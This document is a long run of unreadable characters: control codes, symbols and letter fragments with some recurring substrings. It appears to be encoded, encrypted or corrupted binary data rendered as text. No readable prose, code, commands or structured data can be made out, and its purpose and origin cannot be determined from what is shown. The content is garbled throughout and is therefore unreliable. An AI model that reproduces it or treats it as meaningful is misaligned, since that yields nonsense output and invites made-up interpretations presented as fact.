T^IC=R^f^Z]PY& QSZPU?H^yP[DH^IHP*HHGSyP[DRUSiDQ3oYPY&JSZP%i^ADIHP*@HGST# WHR^ZR^RUSiDQ6JPH^C&PCJK3DSC(V^R^$JPFq^A@SC(LHGSaW! [J9ZFx"r _^ZTP[DH^+TPH^{+DU tH^IC[RgI^IC"n+9WSc2##~@9fJPHUHlYIRhJH^!C[RgDJ3D#M\e*o3H^JP:WH_ISCJR^0_SZPy^ADSCJR^0BYIRqHQ pP[#;jI;_>WHIAn"GY!"WSC[Rg DJ-Fu ;_CYR_$WSL\-pIWSWCYR`^A4IHP*IHGSUa!= #x"nwzCYRQ
@x/R-EB^C&PPH^?Y^ZPP[RH^+]PH^H^+ZRGHzHT=/' 8}JP"nvIB}'Ch P!'x^ADSC(I
HGSfCR^DUSiRGHzHYCYRs:[A)Z<&v^A	AYJR^0BSZP9yDH^IHP*VDJ/P[8H^IJPHUHlYIRs(H^IC[RgV^ICPY&V SZPR^0WSZP<	R.SCFbK:7SC3W5@VSC<R^9K=P[H^+\PH^dHSC/
,H^Fx"NWHR.Z(R^-WSC> H^C&_PH^5t^Z"P[I6gIHP*\DJ+P[KH^>^E 
7,D^ZYPY&W^ICFbY	MHP*_DJE#L 8_
SC8^ADSC(LHGSSW-[ K^Z&HWH^X;DQ+|P[;WSYPY&G^IC>1WHD^ZYPY&W^IC'^A2SC(JHGSc	!Z1WSB20R^W05JPH^C&YPH^+WSgJR^0F SZP!m!a*Ea>/?B8
;_%9R^A8SC96_^ADIHP*@ DJ'R^R^X;Q^R^0gJR^0X YIR|^A(SCR^RUSiRGHj2L>#,^C&ECJK8}X=JR^0WYIRh-WWSC[RgQ^IC'EWHz^ZKPY&JSZP#WHe+3JP9lRUSiDQ)YPY&_SZP%l^AAIHP*^DJ4G<WH^X; \^R^$LCYR^ADSC(AHGSU<!R^W>"JPt!-J#T."r
5WSgCYR^ADSC(I^R^a./oLQK&Z<EDWHC#`-R^8u.nCYRq^ADSC(YHGSc5P[DH^IHP*ODJ &WH^X; DQ=%YPY&]^IC4R^^ZYPY&RSZP6_DRUSiRGHw^Z5P[H^IHP*IDJ=3B^A# JP,WH^X;DQ,`2n#k;WCYRoL_j.>ECYRb(H^IC[RgX^IC3$WDH^+YRGHc>1C[RgDJ4P[>H^1JPHUHlCCJK'ySC-R^^ZYPY&A^IC>WH^ZYPY&USZP<_^ADIHP*[DJ44M^C&FCJK)H^JPH^C&YCJKq^Z-^ADSC(^^R^X&P[H^+ARGHiECYRb(RWSC[RgA^IC2WH,CYR^Aa1P[DH^+]RGHiE>&R^R^X; DQ3/Gd^Z1JR^0F
YIR[!_dQ"Tt?l#-Y>A<FP.Fb^^ZTP[DH^+^RGHj.>\>0#U#][aQ `3H^R,!G\Jp'&Ej^A?&] >&H f?2e1F'n/W #`8R^A4Dx0.Fw=H^JPUHlOCJK4;z:r1E;WHIAJP8yDRUSiRGHj.>\>0#U#][aQ `3W1" Dv 9L5F;RH^@y0P[8H^IHP*]
DJC[RgDJ>ER^9#-GWHenCYRH^ASC(A
HGSW3FbK9Y`2nI]/SC,
@QJ=JPHUHlWCJK8.2R^^/R#![^AMB7T#^ZYPY&U^IC"	5/SC;ZWSU	!a.^DSC0R^9X^X;DQ#P[#]eaGR^5k0SCJR^0\SZP
3	PJ&^$^C&[PH^dHlV![>9WSXC[Rg	DJER^%WSP>E#!]}
.a"R^0VSZPoH^ l2NZKZ##JP@!\WSdCYR(WScCYR^C&\CJK#_.[];H^TP[DRUSiDQ SC/7O(_-n6
MQK:JPEb!H^%JP[J=J##pPY&U^ICWHqSC(I^R^aUP[5,W
5WHi^ZJR^RUSiDQSCR^-_^Z> R^R^X;DQSC DWH[#FcCYRNq.JP^ADSC(W HGSU#P[LUSi RGHR.E^>E WHE3
PY&I SZP/
^ASCR^0TYIRY.^[#Fc-GWH_^Z	PY&_ SZP,UHUSiRGHR.E^>E WHE^Z=R^^WSAC[RgV^IC2jH^+Y PH^6k;T#R^j!&FCYRZK[E3d	PY&VSZPUH^HP*A
HGSo<5Z>Y SC/'H]JPT^ASC(RHGSU	1UHlYIRa!-D3Z.-j	MS'Fa!H^=B=ELL'y*R^5rDSCJR^0EYIR\^A1JPEUHlYIR\>9WS 4R^VD3pP[H^JPH^C&APH^6k;T#a!=CFGvI5k( UW%b.)G^X;W^R^.qQ-
^ASC~@i.:@P[>WSC[Rg DJ(P[R^X;[^R^8QYJR^0@YIRtF5#p-=q6k^Z. ,WHbDIHP*IDJ 03WHJ#F`TPY&JSZPWHt?lV!R^_USiDQ.SCHWH^X;DQ5SC&H^C&^CJK2^ZYPY&
Z	SZP?`^A4|<P[4~=SC%UHlYCJK+,DSCz7&ue w^A9C[Rg W^IC;R^WSCYR^C&\CJK^C&XCJK+7[	e%JR^0PSZP9_^ADIHP*VDJR^R^X;DQ(5JPH^CB	KK
Ol[QGPi 	ZBS*KRRW_\	ZBS*V	D]BAWQgIDNV]+AJWm%^M28F [TC@&QI8C
%HS8F%_MVNV]+OJYVBDLKlNV]+ZJWd_W%DVUN^PY
W*g ]
 DPsD*J\ _
]L\I_W\XIF9X(]GlW^M*M	^+JPJ^FQX^WWQDT\EPTs
B;U0___G@BTAML5Q\iJ&QBLMF9X(]GlW^M*M	^+QP\LY TL TZULVPOvg

GQ+^O&Q\;P[
PXU\LTVPOvg

GQ+^O&Q\;P[H^M[CAB JDUCCHWPO__K

GQPi62$m<<g"+^O&Q\;WHK^]kM^\
&^MOgUQSiCYR[^ASMLQGVB_Qg+*b,1e0^\\
]+e!%#}+4lW^M*M	^+]CYRQ^FnD+^O&Q\;P[H^MLQL@TJi @ @(&}+9v+/iC0FC( WHT^]kMHQg**a/1d?(PU	&T_RgP)\QB REIWXRBHX F\B^ LDL]J(PU	&T_RgWSAC^[JWQEODARB ODLLP\RLAFNZOGSB^JAL_ WYBPF&^MOgUQSiP[PZDQ]]D\Q_I]LLP\RLFGWZHFJB\W0[^( ZG&NCYRN^FX _X	KYTGW\A@CBMMHFJB^	KXL]_X
^	 OLS*k<=e<&m;YCUlPLP*TH^M*\Kl*1d22'c&[N;^QHl SCR$R_ZKgFB	__K

GQPi72'n<=h&^MOgUQSiP[H$]JP\;$0j/*aYE@(TR]+[\C	]+[H]0`<&`!%.gRCNi^0WSAP[H$]M@(&}+9v+/;[$R_ZKgFBD&'s6!0j"0[^( ZG&JPT^FnDPBG0BSPG+CJ5KViLG&D]QAOL(PU	&T_RgH^MJKYR \iC0FC(WHJSYIYVU+^O&Q\;R^ PIKClW^M*M	^+WP\GAM^N&ZIKTQl
DL^NZ
Y;]0WmLLP\RLG^R_$OKTQl@(Q4I_RNXT\K_V@GeBUUVY0YM^Q@
BLS*j<>f<'b?(PU	&T_RgWSQC^(P_ZKgAQ]@ @('}(:v* m;YCUlPLP*WHW^ZP[H$]SPG+S_\UQE]0a<%c!$!c&[N;^QHlSCP2PKTQlMLQGZ
S_Qg+*b,1e0,*P	C+C]&A^]kM^Z
Y;@QFPLK]+d!& }*;h&^MOgUQSiCYRH	H$]J

l
 DLKY&S]QKl+1g12&l"0[^( ZG&U	P\ePC&&s5"0k-FZ^Q\BLS*j<>f<'bMJHGPYIA JGWDFJ\ JGOG[J\ JGWDFJ\ RDWDFJ\ JGWDFPI
 D
JQPi62$m<<gP]Y_BKBJMMYV&B_Y

M+R\G&&s5"0k-4X@('}(:v* 9^Y&=v(!s7#\UQE]0a<%c!$!c&[N;^QHlJPP2PKTQl@('}(:v* m;YCUlPLP*[
H^M*NE	E]&=v(!s7#.gRCNi^0ZS9^\C][Z(ZR&&s5"0k-4lW^M*M	^+RP\eDRlW^M*M	^+PCYRI^F&^MOgUQSiRC0[^( ZG&SCPTN]G&&s5"0k-4lW^M*M	^+JPK^FnP]M@Q
B&GYS*j<>f<'b?(PU	&T_Rg^AM*NE	E]&=v(!s7#.gRCNi^0WS_CYR]^FnP]M@Q
B&E_\VB	__K

GQPi62$m<<g"+^O&Q\;P[ WSAC^(P_ZKgPOKQGTPL ]Y+Q]Kl_Y(PU	&T_RgH^JPPT&]Y(PU	&T_RgPO;VDA][QN\GlW^M*M	^+ZCYRZHUWC&VR_Qg+*b,1e0,*P	C+C]&H^FP\ePF;KlTYH W\iC0FC(H^F_	_Qg
U\_
\J]\JB^WZIZOG[PF@(Z4BMMI_M*H&[N;^QHl^ZPFH]+UH&Q/VCMYBIBDZA$TNE^QKlXMQg
D\EW
G&S[*P	C+C]&WSQC^\DRUEH*P	C+C]&V S^(PU	&T_Rg^ASCRPT&^
JYVB	SC]0@Z;YCUlPLP*WHZ^ZP\Kl
YS*JhQX^WWQDT\EIFnW+^O&Q\;P[WS]C^[&Q/ FTY@IAP)
QGlW^M*M	^+E RWKl_JS*KAlW^M*M	^+DP\BC@] _UgP;@B;[VQPi62$m<<g"+^O&Q\;L^FnPOv]&F+U]@Q+^O&Q\;R^
PXR&[N;^QHlM^[&KW+^O&Q\;P^FQY]G^K]TGOCCPH@I@DN]POR]gRCNi^0]
SCRWKl ;YCUlPLP*PP]QGTPL ]Y+__\C	i]Q0[^( ZG& PC^\Z\XEJQ/US;L&\ S
&[N;^QHlSCPFPOK AWU^PY
W*[P__K&	Z;YCUlPLP*^^ASM^x_]L(PU	&T_RgP]]BC@] _UgPQ]M@(RRZ
S_Qg+*b,1e0,*P	C+C]&	US9^J&=v(!s7#.gRCNi^0F^ZP[H$NKTQl@(BD@
BLS*j<>f<'b?(PU	&T_Rg WSPC^(FKl+1g12&l"0[^( ZG&FC^(][Z(OBUQE]0a<%c!$!c&[N;^QHlEC^(PVYD(PU	&T_Rg_^]@Q
B&Z_
^Q@
BLS*j<>f<'b?(PU	&T_Rg^A
JP P2P;]D
K	Y ]gRCNi^0PSHS*j<>f<'b?(PU	&T_RgP)_S*I
E]&T/R\D
ODHB9^J&T/ FT\EIDP);YCUlPLP*B^ASCRB
P@Q
B&XLS*I
]+TY&IPKiC0FC(R^@^ZP\&[N;^QHlNC^\][Z(TBVSPOlW^M*M	^+OCYRO HWPBG0_OK]Q
V\;%0i,*`-/iC0FC(Q^AS9^\C]0TIKTQlFL^N]\QPiH&[N;^QHlSCR^PKiC0FC(WHG S^(PU	&T_Rg
PZ;&[N;^QHl^Z
P[HPOKQGTPL ]Y+U
_QgKUPi]0J]M@(RR_ZKg] ^X&QX;ZPT&TJQL@TJi]Z
Y;WUKl _S*NR_ZKg @Q]@([R&_J(PU	&T_RgH^FC^[Z
Y;]0I
IKTQlQLS*NC&U ^N&@WIiC0FC(R^ ]^ZP\][Z(ZAlW^M*M	^+JPJ^AS_S*^] ^X&F\KTQl@([C&E[QgQUPi]0I
]]]0UBSPG+GVHZ
Y;Kl@Q
B&Y_\]0I@(QW0[^( ZG&SCH^F] ^X&]BPiHZ
Y;_QKl@([F]+LYHgRCNi^0WS]P[HWPBG0[;YCUlPLP*IH^MLQgDDPBG0K@Q
B&XHS*B]+^Y&YX;BUKl_
]APiAWU^PY
W*NGPLK]+d!& }*;h&^MOgUQSi	 R^P)MQg9N\GlW^M*M	^+]CYR[^F] ^X&DPO;%0i,*`-/iC0FC(WHQS9JL0AZ&[N;^QHlSCPCF_]0K/ FT\EIDP)HS*j<>f<'b?(PU	&T_RgP)_
QgWDE]0a<%c!$!c&[N;^QHl	 [C^(F
K	Y ]gRCNi^0Y^ZRUKl+1g12&l"0[^( ZG&L P\ePURW_\ AU_QgWYE@(HFH]+OH]_SL(PU	&T_Rg^ADC^YL^QPiPTZ\]G&O,]QC
]R_$]JH]+O.M_RGVZU@]nP]MLFOK@(SRX[]0a<%c!$!c&[N;^QHlJPP2PKB][Z(OQKl+1g12&l"0[^( ZG&SCP2]+O\CF@(ZDKGEII*\G_ZKg]+d!& }*;h&^MOgUQSiCYRB^ASCR$F]+O\]0EI;]0I@Q
B&Y_Qg&^MOgUQSiPClW^M*M	^+ECYRU	HPO__T]G \;\PFH]+@JJ
 D;HP\iC0FC(R^WS^CYRO^F]+L[gRCNi^0ASH(PU	&T_RgH^M[QgPO__L\
\;\U0[^( ZG&[CYRU^FDIKFH]+L[&[N;^QHlMYQL@TJi NE
_
M@([RlW^M*M	^+UP\KlDYS*A hTF]\XMD MGk_S*NRVZ&[N;^QHlM[QgAPO;]0E/UZCJ[RFS*N&ZDB(]	RY GlW^M*M	^+D P\&[N;^QHl^ZP[PXiC0FC(MHPXWAQKl@(HC&\M[QgBPi
A&S[GRW_*P	C+C]&ESH(PU	&T_Rg^ASCR^PXiC0FC(B^ASM[JJQPiY&CX;UKlRMLQg] ^X&RQPi62$m<<g"+^O&Q\;P2BPiHKlF]QAOL(PU	&T_RgH^UC^YgRCNi^0Y^ZP\&[N;^QHl^ZP[HPXWAQKl@(HC&\M[QgBPiHZ
Y;]0YX;JPT&AYS*j<>f<'b?(PU	&T_Rg^ASCP2]+ZJL0AZA;YCUlPLP*^H^M[*P	C+C]&H^EP\&[N;^QHlSCRPCRW_Qg]+AY&YPX;BKl@Q
B&ALS*TC&O^NQG] ^X&]\; JUKl@([C&^HS*TC&]^\CVQ+^O&Q\;P[H^M^NEZ\iC0FC(R^WSTC^\AWU^PY
W*P	]+^Y&ZUPi]0PX;PUKl	^MQg] ^X&AQPiBKl	LK]+d!& }*;h&^MOgUQSiP2_R;%0i,*`-/iC0FC(WHF^ZP\eDRlW^M*M	^+JPWHP^]_S*]RRW_\	E]&)z51e?(PU	&T_RgF^]kMQS]0u08s7,*P	C+C]&@S9,*P	C+C]&_S9^Qgh$I;1<t<<h&^MOgUQSiP[H$O__K

GQPi">9}*4lW^M*M	^+CCYRN	H$]Bg_\;1<t<<h&^MOgUQSiR$4lW^M*M	^+JPWHG^]kM^Qgh$I;1<t<<h&^MOgUQSiP2EH] ^X&C]@(\DAO;J
]+S [QL@TJi
BKlFYVU	JQPi\]0TY GBPLK]+d!& }*;h&^MOgUQSiP2P__K&AOLS*j<>f<'b?(PU	&T_RgP)MW
R@('}(:v* m;YCUlPLP*I^AS9WK]0AI@(U
FH@(U
RD+^O&Q\;PO]+N	HDFLFO;Z\Q]+D^NQG&NYJHgRCNi^0Q^Z
P\ ]XN&[/;eDKlE_
]VPi	]0a<%c!$!c&[N;^QHlZC^(]0TI_LQKl+1g12&l"0[^( ZG&SCR^WS@C^(FKl+1g12&l"0[^( ZG&^CYRN^FnC+^O&Q\;P[H^ML^QKl^BQQg	Pic]0T)@(\TN	;X
^	 OLS*_BPiHUZ_&[N;^QHlJPPCGSM^N&XI[ B]MB;YCUlPLP*[HU D\BKl	@ZRL(PU	&T_RgWSDC^YLVP]@(QDKl	@(QCKGEII*@PO;\DKlR[S*B	
 D;HP\iC0FC(@^ASH(PU	&T_RgWS@C^Y&ZPZiC0FC(L^F] ^X&DBPLS*H_BKQKl	^H(PU	&T_RgWSLC^\DRUE^Qg	[WIiC0FC(R^	WSSP\][Z(OBKl@Q
B&A_Qg]+LY&T]]Z
Y;]0I
Z;YCUlPLP*WHKSJS*B&^MOgUQSiCYR\HBPLS*IPi[&[N;^QHlSCRWKl ;YCUlPLP*WH^^ZRBVS]&WP;D0[^( ZG&FCYRB^F]+OY*P	C+C]&F^]K&EJJ*P	C+C]&H^PC^[& KW+^O&Q\;R^]^]S*_&^MOgUQSiCYRRPO__QgCP;BWRlW^M*M	^+BCYRB^ASJS*AAlW^M*M	^+_CYRZ^F@(\P&TYHgRCNi^0QMYQgDW+^O&Q\;P[WSFC^N&QZ;YCUlPLP*WH^ MYQgDW+^O&Q\; PT&TYHgRCNi^0@SCRWKl;YCUlPLP*WH[
S_
T

H]+Q[&[N;^QHl^ZP[ PZ;&[N;^QHl^ZRBNE]0[]M@(ZA&^MOgUQSiPA&PJ(PU	&T_RgH^JPPT&TYHgRCNi^0T^ZP[HWPi[gRCNi^0ES_
Qg	[DPBG0D\KTQlYHS*P	F]+[JQL@TJi]Z
Y;WUKl^MLQgIWIiC0FC(RHWPi[gRCNi^0F^ZP[HW+^O&Q\;WHB^]@Q
B&TY*P	C+C]&WSUCYRB^F]+ZNQG&AMQgIWIiC0FC(J^F]+YY*P	C+C]&
[^ZP\&[N;^QHlMYQL@TJi&[N;^QHl[C^[&FB	;BWRlW^M*M	^+JPM^ASJS*WAlW^M*M	^+FP[	HBPLS*PFH]+]H&K	K;OCKl ][QPi&XJK&I]M@(@DA@(VF]+FJJlF]Q0[^( ZG&[C^YgRCNi^0IM[Qg	BPiHL^QPiYgRCNi^0WS]P[HPO;CR_*P	C+C]&
WS^C^Y&KPO;MDKlmIEBJ[OEk[S*J4BMMI_M*O&KBPiHV_BPi]0@]H
T&W&[N;^QHl SCRUKl
GHS*JFPiH&F"\_
\J]\JB^WZ$O;BDKlmWDBT\IYROXT\J)XKlS*P] ^X&E\;MPT&RYS*P]+^OgRCNi^0[^ZRB&TYHgRCNi^0W^ZP\]0X;YCUlPLP*YH^MY*P	C+C]&^^]@(\W0[^( ZG&JPPA& XY*P	C+C]&Q^ZP\&[N;^QHl^ZRWKlCJ(PU	&T_Rg^ASCPAlW^M*M	^+UP\]0CZiC0FC(WHV^ZP\&[N;^QHl^ZPAPX(HGQPiW0[^( ZG&ECYR]^FPiD0[^( ZG&FCYRN^F]+][gRCNi^0USCRBZ\;HPUS]0VTWS*LFH*YR \;P&PYK]+B,*P	C+C]&H^_C^(FKlm;YCUlPLP*YH$N]G& S?ZDHBTCOFD$F]+B,D
HBL_UE@YB@)
TPT&TJK

GQPi.gRCNi^0]M*\]0G/iC0FC(WH^^ZP\eCGZ
S_Qg
hQX^WWQDQ\ELFnPK;cQ]]D\Q_KATYGR_KATYGP2	Z^N& YDE]0G/iC0FC(R^WSNC^(FKlm;YCUlPLP*ZP)LK]+B,]QC
]W\ JGWDFJ\ JGTYFJ\ JGWDFJ\IZWDFJ\ JGWDF$F] ^X&E\;HPU]ZMLQg ADE;TG&PMHQ
lB;V
]@(^PU_ZKgUQPi
\
_
MLFOK]]0J LFO__T& YPPiHZ
Y;^QKlFMLQgIWIiC0FC(W^ASJS*AAlW^M*M	^+JP]^F&^MOgUQSiRWKl;YCUlPLP*WHB^ZP\]0E;YCUlPLP*WHX^ZP\&[N;^QHlSCPA&TY*P	C+C]&A^ZP\&[N;^QHlSCPAPX(HGQWC&
]R_Qg AP];YCUlPLP*WH[S_
QgIWIiC0FC(R^WS\C^[&UW+^O&Q\;WHC^]XKlFBQT&WP;BD0[^( ZG&JPPA&NJ(PU	&T_RgH^MY*P	C+C]&WSTC^[Z
Y;WW0[^( ZG&SCR^PZ;PBUQPi \C]0TY(PU	&T_RgPZ;&[N;^QHlYC^[gRCNi^0WS_P[HWPBG0[;YCUlPLP*WH^ MYQgPiD0[^( ZG&TCYRY^F]+YY*P	C+C]&]^]S*N] ^X&[QPBG0[@(MPT&_JQL@TJi][Z(OUKlRHS*P
]+@Y&QX;BUQU;O_I_ZKgDIKTQlS*B
 D;HP\iC0FC(R^G^]@Q
B&AH(PU	&T_RgH^MYQL@TJiY&P]@(KDG+DY
&^MOgUQSiCYRKH^MYQL@TJi YgRCNi^0WSACYRS^A SJSPG+C
[QgBPi][Z(MG_ZKg]+LY&@X;ZUKlLHS*B
FSV]0UQGTPL ]Y+N]&ZX;JUKlNHS*[C&T[Qg[VS*ZRE]&=v(!s7#.gRCNi^0C^ZP\ePIiY G&&s5"0k-4lW^M*M	^+YR$FFPi62$m<<g"+^O&Q\;P2	D]gRCNi^0YSCRPTX
D_Qg	BPiHZ
Y;LQKl
DH(PU	&T_Rg P]@(KDA@(KPTZ\_&R^L(PU	&T_Rg
H^JPPC&EM^&@D+^O&Q\;P[PZ;JW0[^( ZG&SCA^F]+LL&VDPiNQG	S(Y[Q+^O&Q\;PC&SM^&VD+^O&Q\;PA_ZKgGQ];YCUlPLP*WH@^ZRWKlXAi	[GlW^M*M	^+NP\]0D]S*ORlW^M*M	^+JP@^F] ^X&@QPi\&[N;^QHl^Z	P[	HWPiNE	XD*UP\iC0FC(YHUPi\Kl;YCUlPLP*WHASJS*P
&^MOgUQSiPA&S_
^QNCQ;L&^MOgUQSiP[HUPi\Kl;YCUlPLP*KHWPi[gRCNi^0G^ZP\]0DOK][QPiUY
Kl]0AIY(PU	&T_RgW^]BK]+d!& }*;h&^MOgUQSiP[P)@('}(:v* m;YCUlPLP*A^AM*Y&=v(!s7#.gRCNi^0X^ZP\eUKl+1g12&l"0[^( ZG&]C^(P&OJQg
&^MOgUQSiCYRN^ASJS*_&^MOgUQSiRBKl@Q
B&\LS*j<>f<'b?(PU	&T_RgH^ JPP2QX^Qg+*b,1e0,*P	C+C]&IS9[Qg+*b,1e0,*P	C+C]&WS]C^(D0[^( ZG&AC^JgRCNi^0AMMMBPLVQgY
V
PLVQL@TJi]0YX;JUKlNHS*A ]+RY&=v(!s7#.gRCNi^0WSCP[H$X;%0i,*`-/iC0FC(WHW^]kM^x_SLS*RFXMTN9U]QKl_POlW^M*M	^+LRWKGEII*TTA CULVB	__QgDIiC0FC(R^ASMQg ADPi[gRCNi^0T^ZP\]0T;YCUlPLP*WHUSCRBKl@Q
B&_LS*OC&T[Qg
AUPi]0W_]0KUYT

Pi]0KZKTQl;YCUlPLP*HH^ML&GDDPTZ\_LQKl+1g12&l"0[^( ZG&_P\eUKl+1g12&l"0[^( ZG&A	P\ePFH]+FH&=v(!s7#.gRCNi^0Z^ZP\eBKlBY_VF&&s5"0k-4lW^M*M	^+CR$T&ZY TTZ\;LDRBMMHAOF@R^L]@(TD0[^( ZG&BC^N&G")Y GlW^M*M	^+LCYRS^FGPi&[N;^QHlMJK&_XiC0FC(BHDJ;BVSS*R] ^X&K\;MPT&B?*HYR \iC0FC(R^I^ZP\G0[^( ZG&SCR^PXiC0FC(R^D^ZP\GBIAVDE&[N;^QHl^ZP[	HDJXBUQUS	AQKlUM^&G")Y GlW^M*M	^+[P[HDJ;["GZ  VGRDT^(&[N;^QHl^ZP[PIIBE	RZOXiC0FC(WHF^]Z TFPi .eDAOL(PU	&T_RgWSWC^H&[N;^QHlJPPClW^M*M	^+WCYR]^ASYIALB O@QD@HZU+^O&Q\;R^PI;YCUlPLP*T^AM^N&G")Y GlW^M*M	^+JPA^A
SYI*P	C+C]&YSH(PU	&T_RgH^ JPPRAMOEL	RWLYPGB&[N;^QHlSCR^PI;YCUlPLP*WH]^Z RPT&B?*HYR \iC0FC(J^FG+^O&Q\;P[H^MYQgFU+^O&Q\;R^ @^]ZZGJB @FDZGHBT@][*P	C+C]&H^RC^H_]@(L"2D]gRCNi^0_^ZP\G0[^( ZG&WP\]0W;YCUlPLP*^PIQEFT[
AXiC0FC(ZHDJXBUS]0WTWS*QPiHZ
Y;]0Zm;YCUlPLP*O^ASCR$C&P,*P	C+C]&H^[CYRH^FnUPic&[N;^QHlJPP2]+_.gRCNi^0E	SCR$R&^MOgUQSiP[H^MH]QC
]	WZHZMMX	I[HDML^QN&CMWZS_
^QN_ZKg]+\[Qg
AUPi]0J @(QF4PKG&CMLWZS_
5^\
@(MPTVYD(PU	&T_Rg^AMYQL@TJi[gRCNi^0IMYQg	P"+^O&Q\;WHI^]kJ(PU	&T_Rg^A SCRWKlU?(PU	&T_RgWSRC^(&[N;^QHlJPPA_ZKgBFOK]0AIY(PU	&T_Rg^AM^&JIP]BKlAYMTZ\_LQKl+1g12&l"0[^( ZG&^	P\ePFHDPQAOL(PU	&T_RgWSUC^YgRCNi^0WSORPOR
PiGKl	GMQgPDPBG0E@(KFL G&U^\[GCLOP\;[PPSDZM TOHBOZM	CKl@Q
B&\LS*RhQX^WWQDT^(Q]]D\QWJGWDFJ\ JGOO[J\ JGWDFJ\AZWDFJ\ JGWD\_X FTY@IARDQ\ELFC[YVPOTSBR
LLP\RLG[R_L]@(ORUELQg] ^X&YQPicQ]]D\Q_I]kH_VFAX _CKZOZQ\CKZOZQ^YV_U\_
\J]\JB^WZIZOG[PCUE^NZ
ROK]]0Y]UQVB4PKG&CMLQgYD DNE	XPi ]XNE]0^ @Q
B&T_Qg
AUPi]0W_S*A ]+[ [&VW+^O&Q\;P[
H^MYQgIW+^O&Q\;WHC^]@(WDKGEII*\G&SHS*_]+EY&@X;MUA@(\F@(WXRZ\C]0J @(WWKGEII*TAlW^M*M	^+TCYR@^FPiCR_*P	C+C]&H^LC^Y&@]][]\;OPRQYUAXTXI_VGGP&AYJ _S_J]+C .GPYIAL_JE@IAL_JE@$FBPi	 HH
T&S[GlW^M*M	^+JPA^F&^MOgUQSiR^PX;BKl@Q
B&N_QgBY[G&SD&CP; ][Z(RQKl IF@RBH_WZUHZUCY
JWTF\[QgDPO__T&FPUQVB	__TZ
Y; ]0YX;JUKlNHS*A ]+R\/UY]&FPOUQVB	vW

]+\^N]\Y+^O&Q\;R^PZKTQlMCLEUQPiHD0[^( ZG&DP\UQ4[]0[
@(MUKlLHS*B
FUUgRCNi^0_MYQL@TJiNJF ]BVS]Q
V\;%0i,*`-/iC0FC(_H$]XKGEII*TG&SHS*_]+EY&@X;MPFHB_
POlW^M*M	^+QP\][Z(TBVD
WJ
	KMZNE	ZBWMGXD(YQKl@(ZC&L[QgKUPi  ]0RF)@OZU% U)	L[G[]M@(JDAOL(PU	&T_RgH^JP PClW^M*M	^+YP\&[N;^QHlSCPClW^M*M	^+XP[
HU+^O&Q\;R^P]@(ZR]Z_JP\;&_^QGsZ(@G
\;QPI9E;]GZ_QgZP]M@(ZR&_LJXB	K]]0WL]YWKlY	
@Z\QKlQMY*P	C+C]&U^]Y	
@Z_QKl
DMLQgUK
_[ _QgTPZiC0FC(I^ASJ[V
SJG&L^N&QIvg
GQ+^O&Q\;WHR^]_S*MRUUV&
KB_*P	C+C]&H^SCYR_^F_R$J\
\;@U0[^( ZG&SCPFDIP]PT&YY VZiK&^MOgUQSiRPIQ4EH]+GYgRCNi^0USMJH_
_S*A ]+LY*P	C+C]&B^ZP\]0T@(UR_ZKgQQPiY&JX;]0C]]&	^IY_X
MDM]L]Y DNE]0KIKTQl	@(KUKlLHS*K]+^Y&ZX;BPTZ\;DRUE^&YI;
_
M@(RR&OL&]DPBG0T@(PUKlYHS*MC&YML^QKl
YJ]NZHFIDFRXP]MMZNE
GXDMTN	_]Y	FB&F\;WUKl^HS*MC&YM^QKlS*KRs	F]&CXiC0FC(R^QSML^QN&RM]AT FTY@IAPOK$M]+E [Qg[WPBG0_]@(_Rs	Z]0@]M&QL]V@(WP&_YJQX^WWQDT\EDQRW_*P	C+C]&J^ZP\&[N;^QHlSCR^P]LLP\RLG[
LDWFOG[
LDWFMJKYR \iC0FC(WHI^];YCUlPLP*WHR	SM[C	OBH@ZJ&^MOgUQSiCYRKHU+^O&Q\;P[WSFC^\BKlZY7JlS
_Qg\UPiY&W]]lE[G&C^\C
GXDN@MYMLINC/U	B_QgD"Y TF^I^nUPi][Z(TPTsZ]0[mLLP\RLG^R_I]kML5^\
@(\4O@ICB TOHEV*\9	PE_QgD"YUO^
K_nPO;]D/CU;W

]+S\
GX@(_TNBAXYYT@XT[ RYWANE	ZBWMGXD(QQKl@(ZC&PHS*P
]+RY&PIB]0KIF^&WDPBG0C\;]0T@(^UKlNHS*\BPLS*JRDWVD
WYVB	__QgEPD JKl@(\BA CQgDLOUUVY0C\;]0T@(^UKlNHS*\]+WH3KOAP)@OG[]M@(SDKGEII*NG&_[QgIPO__QgDIP]PA CU^@OK@(^RGSL^NTGQPi]0BYSPG+\]&@UPiY&@X;MPTZ\;UDRUE^JFKTN]+BJQL@TJi]0T_S*NEAAgPSLKGlW^M*M	^+JPWH^^]@(ZUAMLQg]D+^O&Q\;R^PZ;BW0[^( ZG&JPWHQ^]@(QAlW^M*M	^+]P[HWPi&[N;^QHlSCR^PZ;UW0[^( ZG&JPWH^^]@(W	AlW^M*M	^+WCYR\^F]+\HZ
Y;^QKl@(MFE_Qg]+W \][Z(MG&P[Qg	]+^Y&ZXP]PTZ\;D	RSM]ATP]B&[J5W	
]
Z;L&AW] G&]ML^QN&[^JFKTN]+NJ*P	C+C]&H^JPWHX^]@(LRW_
&[N;^QHlSCRPP|)1x7$9g8#t6+e,6GOUKFWCDT]OYQFNQG9FK0@XLS*[C&PHS*R]+@\UQ$~4(#}+<z6:i-3IGPYKYOBRACOYOCVACOAOB RACNDOB RYCOYOB S^\C9 CE*^
V&S_QgTPOKMZNE	)<f;!0j*&|7+ K]QC
]
OYOZ RACOYN_RACWYOB RACR]OB JACOYOBM^xVE(J
lOLS*RB	;\	\US&CBLKY&X]QKlH_VFAX _GW\ JGWDFJ\ RFJDFJ\ JGWDFKZJGWDFJ\ JGH(PU	&T_RgWSDC^\&[N;^QHlJPPF]+\	H&FZ;]0KIKTQlPLS*B
C&[^NJF;][Z(TWKGEII*TA&TLHE SD VZ; ]0W@(ZFH]+^JJJQ+^O&Q\;WHG^];YCUlPLP*NPZ;MW0[^( ZG&JPPClW^M*M	^+\P[HWPi  &[N;^QHlM[*P	C+C]&WSLC^[&ZZiC0FC(R^WSRC^[&QZiC0FC(Z^ASH(PU	&T_RgD^]@(ZAlW^M*M	^+PCYR^^F&^MOgUQSiRWKlCJ(PU	&T_RgPXiC0FC(WHT^]@(ZAlW^M*M	^+]CYRH^ASH(PU	&T_RgH^ JPPA&_Y*P	C+C]&F	SH(PU	&T_RgH^YC^[&ZZiC0FC(R^_^]@(ZAlW^M*M	^+JPS^F&^MOgUQSiPA&_Y*P	C+C]&	WSRCYR^^F&^MOgUQSiCYRJHWPi  &[N;^QHl	M[*P	C+C]&H^FP\]0W;YCUlPLP*TH^MYQgIW+^O&Q\;WHB^];YCUlPLP*L^A MYQgFW+^O&Q\;P[
